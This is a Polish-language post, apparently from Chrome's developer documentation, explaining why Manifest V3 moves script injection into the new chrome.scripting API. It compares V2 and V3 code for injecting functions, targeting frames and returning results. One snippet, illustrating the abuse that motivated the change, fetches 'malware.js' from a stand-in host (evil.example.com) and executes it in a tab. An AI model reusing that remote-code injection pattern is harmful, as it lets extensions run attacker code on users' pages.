Przedstawiamy chrome.scripting

Manifest V3 wprowadza kilka zmian na platformie rozszerzeń Chrome. W tym poście omówimy motywacje i efekty jednej z najbardziej znaczących zmian: wprowadzenia interfejsu API chrome.scripting.

Co to jest chrome.scripting?

Jak wskazuje nazwa, chrome.scripting to nowy obszar nazw wprowadzony w pliku manifestu w wersji 3, odpowiedzialny za możliwości wstrzykiwania skryptu i stylów.

Deweloperzy, którzy wcześniej tworzyli rozszerzenia do Chrome, mogą znać metody Manifest V2 w interfejsie Tabs API, takie jak chrome.tabs.executeScriptchrome.tabs.insertCSS. Te metody umożliwiają rozszerzeniom umieszczanie skryptów i arkuszy stylów na stronach. W pliku manifestu V3 te funkcje zostały przeniesione do interfejsu chrome.scripting, a w przyszłości planujemy rozszerzyć ten interfejs API o nowe funkcje.

Po co tworzyć nowy interfejs API?

W przypadku takiej zmiany jednym z pierwszych pytań, które się pojawia, jest „dlaczego?”.

Zespół Chrome zdecydował się wprowadzić nową przestrzeń nazw dla skryptów z kilku powodów. Po pierwsze, interfejs Tabs API jest trochę schowkiem na funkcje. Po drugie, musieliśmy wprowadzić zmiany w interfejsie API executeScript, które mogły spowodować przerwanie działania. Po trzecie, chcieliśmy rozszerzyć możliwości skryptowania w przypadku rozszerzeń. Wszystkie te problemy wyraźnie wskazywały na potrzebę stworzenia nowej przestrzeni nazw, która umożliwi tworzenie skryptów.

Panel z niepotrzebnymi rzeczami

Jednym z problemów, które od kilku lat spędza sen z oczu zespołowi ds. rozszerzeń, jest przeciążenie interfejsu API chrome.tabs. Gdy to interfejs API został po raz pierwszy wprowadzony, większość jego funkcji była związana z ogólną koncepcją karty przeglądarki. Jednak nawet wtedy była to mieszanka funkcji, a z upływem czasu kolekcja ta tylko się powiększała.

W czasie wydania pliku manifestu w wersji 3 interfejs Tabs API został rozbudowany o podstawowe funkcje zarządzania kartami, zarządzania wyborem, organizacji okien, wysyłania wiadomości, sterowania powiększeniem, podstawowej nawigacji, skryptowania i kilka innych mniejszych funkcji. Wszystkie te funkcje są ważne, ale mogą przytłoczyć deweloperów na początku korzystania z Chrome, a także zespół Chrome, który obsługuje platformę i rozpatruje prośby społeczności deweloperów.

Kolejnym czynnikiem komplikującym jest to, że uprawnienia tabs nie są dobrze rozumiane. Wiele innych uprawnień ogranicza dostęp do danego interfejsu API (np. storage), ale to uprawnienie jest nieco nietypowe, ponieważ przyznaje rozszerzeniu dostęp tylko do wrażliwych właściwości w przypadku instancji karty (a co za tym idzie, wpływa też na interfejs API systemu Windows). Zrozumiałe jest, że wielu deweloperów rozszerzeń błędnie uważa, że te uprawnienia są im potrzebne do uzyskiwania dostępu do metod interfejsu Tabs API, takich jak chrome.tabs.create lub, co ważniejsze, chrome.tabs.executeScript. Przeniesienie funkcji z interfejsu Tabs API pomoże rozwiać część tych wątpliwości.

Zmiany powodujące niezgodność

Podczas projektowania pliku manifestu V3 jednym z głównych problemów, które chcieliśmy rozwiązać, były nadużycia i programy malware umożliwiane przez „kod hostowany zdalnie” – kod, który jest wykonywany, ale nie jest zawarty w pakiecie rozszerzenia. Autorzy szkodliwych rozszerzeń często uruchamiają skrypty pobrane z serwerów zdalnych, aby kraść dane użytkowników, wstrzykiwać złośliwe oprogramowanie i uniknąć wykrycia. Chociaż ta funkcja jest wykorzystywana przez osoby o dobrych intencjach, uznaliśmy, że jest ona zbyt niebezpieczna.

Rozszerzenia mogą wykonywać niespakowany kod na kilka różnych sposobów, ale w tym przypadku odpowiednia jest metoda Manifest V2 chrome.tabs.executeScript. Ta metoda umożliwia rozszerzeniu wykonanie dowolnego ciągu kodu na karcie docelowej. Oznacza to, że złośliwy programista może pobrać dowolny skrypt z dalszego serwera i wykonywać go na dowolnej stronie, do której ma dostęp. Wiedzieliśmy, że jeśli chcemy rozwiązać problem z kodem zdalnym, musimy zrezygnować z tej funkcji.

(async function() {
  let result = await fetch('https://evil.example.com/malware.js');
  let script = await result.text();

  chrome.tabs.executeScript({
    code: script,
  });
})();

Chcieliśmy też usunąć inne, bardziej subtelne problemy z projektem wersji 2 pliku manifestu i uczynić interfejs API bardziej dopracowanym i przewidywalnym narzędziem.

Chociaż moglibyśmy zmienić sygnaturę tej metody w interfejsie Tabs API, uznaliśmy, że ze względu na te zmiany i wprowadzenie nowych funkcji (omówionych w następnej sekcji) łatwiej będzie wszystkim, jeśli nastąpi czyste rozdzielenie.

Rozszerzanie możliwości skryptowania

Kolejnym czynnikiem, który wpłynął na proces projektowania pliku manifestu V3, było pragnienie wprowadzenia na platformę rozszerzeń Chrome dodatkowych możliwości skryptowania. Chcieliśmy w szczególności dodać obsługę dynamicznych skryptów treści i rozszerzyć możliwości metody executeScript.

Obsługa skryptów dynamicznych treści była od dawna oczekiwaną funkcją w Chromium. Obecnie rozszerzenia Chrome z Manifestem V2 i V3 mogą deklarować skrypty dotyczące treści tylko w stanie statycznym w pliku manifest.json. Platforma nie udostępnia sposobu rejestrowania nowych skryptów treści, dostosowywania rejestracji skryptów treści ani anulowania rejestracji skryptów treści w czasie wykonywania.

Chociaż wiedzieliśmy, że chcemy uwzględnić tę prośbę o funkcję w pliku manifestu w wersji 3, żadne z naszych dotychczasowych interfejsów API nie wydawało się odpowiednim miejscem na jej wdrożenie. Rozważaliśmy też dostosowanie się do Content Scripts API w Firefox, ale na samym początku zauważyliśmy kilka poważnych wad tego podejścia. Po pierwsze, wiedzieliśmy, że będziemy mieć niezgodne podpisy (np. rezygnacja z obsługi właściwości code). Po drugie, nasz interfejs API miał inny zestaw ograniczeń projektowych (np. wymagał rejestracji, która przetrwałaby dłużej niż czas życia service workera). Wreszcie ta przestrzeń nazw ograniczyłaby nas do funkcji skryptu treści, podczas gdy rozważamy skrypty w ramach rozszerzeń w szerszym zakresie.

W przypadku interfejsu API executeScript chcieliśmy też zwiększyć jego możliwości poza zakres obsługiwany przez wersję interfejsu API kart. Chcieliśmy przede wszystkim umożliwić obsługę funkcji i argumentów, ułatwić kierowanie na konkretne ramki oraz uwzględnianie kontekstów innych niż „karta”.

W przyszłości rozważymy też, jak rozszerzenia mogą współpracować z zainstalowanymi Progressive Web Apps i innymi kontekstami, które nie pasują do koncepcji kart.

Zmiany między funkcjami tabs.executeScript i scripting.executeScript

W dalszej części tego artykułu przyjrzymy się bliżej podobieństwom i różnicom między chrome.tabs.executeScriptchrome.scripting.executeScript.

Wstrzyknięcie funkcji z argumentami

Rozważając, jak platforma powinna się rozwijać w świetle ograniczeń związanych z kodami hostowanymi zdalnie, chcieliśmy znaleźć równowagę między możliwościami dowolnego wykonania kodu a dozwoleniem tylko na skrypty treści statycznych. Rozwiązaniem, na które się zdecydowaliśmy, było umożliwienie rozszerzeniom wstrzykiwania funkcji jako skryptu treści i przekazywania tablicy wartości jako argumentów.

Przyjrzyjmy się (bardzo uproszczonemu) przykładowi. Załóżmy, że chcemy wstrzyknąć skrypt, który wita użytkownika po imieniu, gdy kliknie on przycisk działania rozszerzenia (ikonę na pasku narzędzi). W Manifest V2 można było dynamicznie tworzyć ciąg kodu i wykonywać ten skrypt w bieżącej stronie.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/greet-user.js');
  let userScript = await userReq.text();

  chrome.tabs.executeScript({
    // userScript == 'alert("Hello, <GIVEN_NAME>!")'
    code: userScript,
  });
});

Chociaż rozszerzenia korzystające z platformy Manifest V3 nie mogą używać kodu, który nie jest dołączony do rozszerzenia, naszym celem było zachowanie części dynamiki, którą umożliwiały dowolne bloki kodu w przypadku rozszerzeń korzystających z platformy Manifest V2. Dzięki podejściu opartym na funkcjach i argumentach sprawdzający, użytkownicy i inne zainteresowane strony mogą dokładniej ocenić zagrożenia związane z rozszerzeniem, a deweloperzy mogą modyfikować zachowanie rozszerzenia w czasie działania na podstawie ustawień użytkownika lub stanu aplikacji.

// Manifest V3 extension
function greetUser(name) {
  alert(`Hello, ${name}!`);
}
chrome.action.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/user-data.json');
  let user = await userReq.json();
  let givenName = user.givenName || '<GIVEN_NAME>';

  chrome.scripting.executeScript({
    target: {tabId: tab.id},
    func: greetUser,
    args: [givenName],
  });
});

Ramki kierowania

Chcieliśmy też ulepszyć sposób, w jaki deweloperzy pracują z ramkami w zmienionym interfejsie API. Wersja manifestu executeScript V2 umożliwiała deweloperom kierowanie na wszystkie ramki na karcie lub na konkretną ramkę na karcie. Aby uzyskać listę wszystkich ramek na karcie, użyj parametru chrome.webNavigation.getAllFrames.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.webNavigation.getAllFrames({tabId: tab.id}, (frames) => {
    let frame1 = frames[0].frameId;
    let frame2 = frames[1].frameId;

    chrome.tabs.executeScript(tab.id, {
      frameId: frame1,
      file: 'content-script.js',
    });
    chrome.tabs.executeScript(tab.id, {
      frameId: frame2,
      file: 'content-script.js',
    });
  });
});

W pliku manifestu w wersji 3 zastąpiliśmy opcjonalną właściwością frameId typu całkowitego w obiekcie opcji opcjonalnym tablicą frameIds liczb całkowitych. Umożliwia to deweloperom kierowanie na wiele klatek w jednym wywołaniu interfejsu API.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let frames = await chrome.webNavigation.getAllFrames({tabId: tab.id});
  let frame1 = frames[0].frameId;
  let frame2 = frames[1].frameId;

  chrome.scripting.executeScript({
    target: {
      tabId: tab.id,
      frameIds: [frame1, frame2],
    },
    files: ['content-script.js'],
  });
});

Wyniki wstrzyknięcia skryptu

Ulepszyliśmy też sposób zwracania wyników wstrzyknięcia skryptu w pliku manifestu V3. „Wynik” to w podstawie ostatnia instrukcja oceniana w skrypcie. Wyobraź sobie, że jest to wartość zwracana przez funkcję eval() lub blok kodu w konsoli Narzędzi deweloperskich w Chrome, ale zserializowana w celu przekazywania wyników między procesami.

W pliku manifestu V2 funkcje executeScript i insertCSS zwracałyby tablicę prostych wyników wykonania. Jest to w porządku, jeśli masz tylko 1 punkt wstrzyknięcia, ale kolejność wyników nie jest gwarantowana podczas wstrzyknięcia do wielu klatek, więc nie ma możliwości określenia, który wynik jest powiązany z którą klatką.

Na potrzeby konkretnego przykładu przyjrzyjmy się tablicom results zwracanym przez Manifest V2 i Manifest V3 tego samego rozszerzenia. Obie wersje rozszerzenia będą stosować ten sam skrypt treści, a my porównujemy wyniki na tej samej stronie demonstracyjnej.

// content-script.js
var headers = document.querySelectorAll('p');
headers.length;

Gdy uruchomimy wersję Manifest V2, otrzymamy tablicę [1, 0, 5]. Który wynik odpowiada głównej ramie, a który elementowi iframe? Wartość zwracana nie zawiera tej informacji, więc nie mamy pewności.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.tabs.executeScript({
    allFrames: true,
    file: 'content-script.js',
  }, (results) => {
    // results == [1, 0, 5]
    for (let result of results) {
      if (result > 0) {
        // Do something with the frame... which one was it?
      }
    }
  });
});

W pliku manifestu w wersji 3 element results zawiera teraz tablicę obiektów wyników zamiast tablicy zawierającej tylko wyniki oceny. Obiekty wyników wyraźnie identyfikują identyfikator ramki dla każdego wyniku. Dzięki temu deweloperzy mogą łatwiej wykorzystać wynik i podjąć działania w przypadku konkretnego kadru.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let results = await chrome.scripting.executeScript({
    target: {tabId: tab.id, allFrames: true},
    files: ['content-script.js'],
  });
  // results == [
  //   {frameId: 0, result: 1},
  //   {frameId: 1235, result: 5},
  //   {frameId: 1234, result: 0}
  // ]

  for (let result of results) {
    if (result.result > 0) {
      console.log(`Found ${result} p tag(s) in frame ${result.frameId}`);
      // Found 1 p tag(s) in frame 0
      // Found 5 p tag(s) in frame 1235
    }
  }
});

Podsumowanie

Zmiany wersji pliku manifestu to rzadka okazja do przemyślenia i zmodernizowania interfejsów API rozszerzeń. Celem wersji 3 manifestu jest poprawa wygody użytkowników dzięki zwiększeniu bezpieczeństwa rozszerzeń i ulepszenie środowiska programistów. Dzięki wprowadzeniu chrome.scripting w Manifest V3 mogliśmy uporządkować interfejs Tabs API, zmienić sposób działania executeScript, aby zapewnić większą ochronę na platformie rozszerzeń, oraz przygotować grunt pod nowe możliwości skryptowania, które pojawią się jeszcze w tym roku.